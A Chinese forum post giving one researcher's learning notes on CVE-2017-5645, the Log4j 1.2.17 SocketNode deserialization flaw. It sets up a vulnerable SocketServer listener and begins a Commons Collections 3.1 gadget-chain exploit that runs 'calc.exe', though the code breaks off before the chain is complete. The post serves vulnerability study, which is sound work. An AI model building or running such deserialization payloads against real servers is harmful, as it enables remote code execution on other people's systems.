首页
社区
课程
招聘
[原创]CVE-2017-5645漏洞学习笔记
发表于: 2020-1-19 21:41 9190

[原创]CVE-2017-5645漏洞学习笔记

2020-1-19 21:41
9190

       最近一段时间呢,因为工作原因需要挖掘几套系统漏洞,这些系统有一些Java代码。所以挖掘的漏洞过程中除了文件下载,上传这种逻辑漏洞外,知道一些Java的语言本身的漏洞也是一种突破口。刚好最近看到Apache Log4j 反序列化分析—【CVE-2017-5645】,就像以此为引子,学一学反序列化漏洞,由于之前对Java和其反序列化和序列化的知识一无所知,可能理解上幼稚和偏差,请大佬们轻拍。

     第一:下载好有漏洞的源码: log4j-1.2.17.zip,打开代码,搜索关键词readObject,一顿拍查寻找后

发现这里:




        发现是在这个SocketNode类中的run()方法中存在引用readObject()方法,并且没有进行过滤。

       要模拟这个漏洞的代码,构造这个漏洞的POC,就在源码中搜索对这个类的引用,发现隔壁的SocketServer类中,就存在对其的引用:


    开启了一个新线程,引用了SocketNode类。.start()开启线程,会执行里面的run()函数

第二:构造简单的POC代码

    import org.apache.log4j.net.SocketServer;

     public class Target {

       public static void main(String[] args)throws Exception{

        String[] arguments = {"4440", "C:\\Users\\ashu\\WorkSpace2\\Target\\srclog4j.properties","C:\\Users\\ashu\\WorkSpace2\\Target\\src"};

        SocketServer.main(arguments);

        System.out.println("INFO: Log4j output successfuly.");

    }

}

SocketServer第一个参数是监听端口,第二个参数是配置文件srclog4j.properties,第三个参数是配置文件的路径,基本上网上抄的,对本实验没影响。

    Java反序列化漏洞利用程序上比较固定,依我浅薄的理解,就是如果漏洞类的readObject方法被重写,或者没有过滤产生的。可以利用Java的反射机制,把你要实现的函数,写成字节的形式,利用工具类构造成对象然后字节序列化(这一步已经有很多大牛写好的代码,基本拿来用就行了),然后让存在漏洞代码反序列化,执行我们写入事先写入的函数。

由于我的虚拟机环境是Java8,于是选择commons-collections-3.1.jar里面的LazyMap类作为工具类,构造一段代码

import java.io.BufferedInputStream;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.DataInputStream;

import java.io.File;

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.io.OutputStream;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.net.Socket;

import java.net.UnknownHostException;

import java.util.HashMap;

import java.util.Map;

import java.util.Map.Entry;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.keyvalue.TiedMapEntry;

import org.apache.commons.collections.map.HashedMap;

import org.apache.commons.collections.map.LazyMap;

import org.apache.commons.collections.map.TransformedMap;

public class attack {

   public static void run() throws Exception {

    deserialize(serialize(getObject()));

    }

     public static Object getObject() throws Exception {

         String command="calc.exe";


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//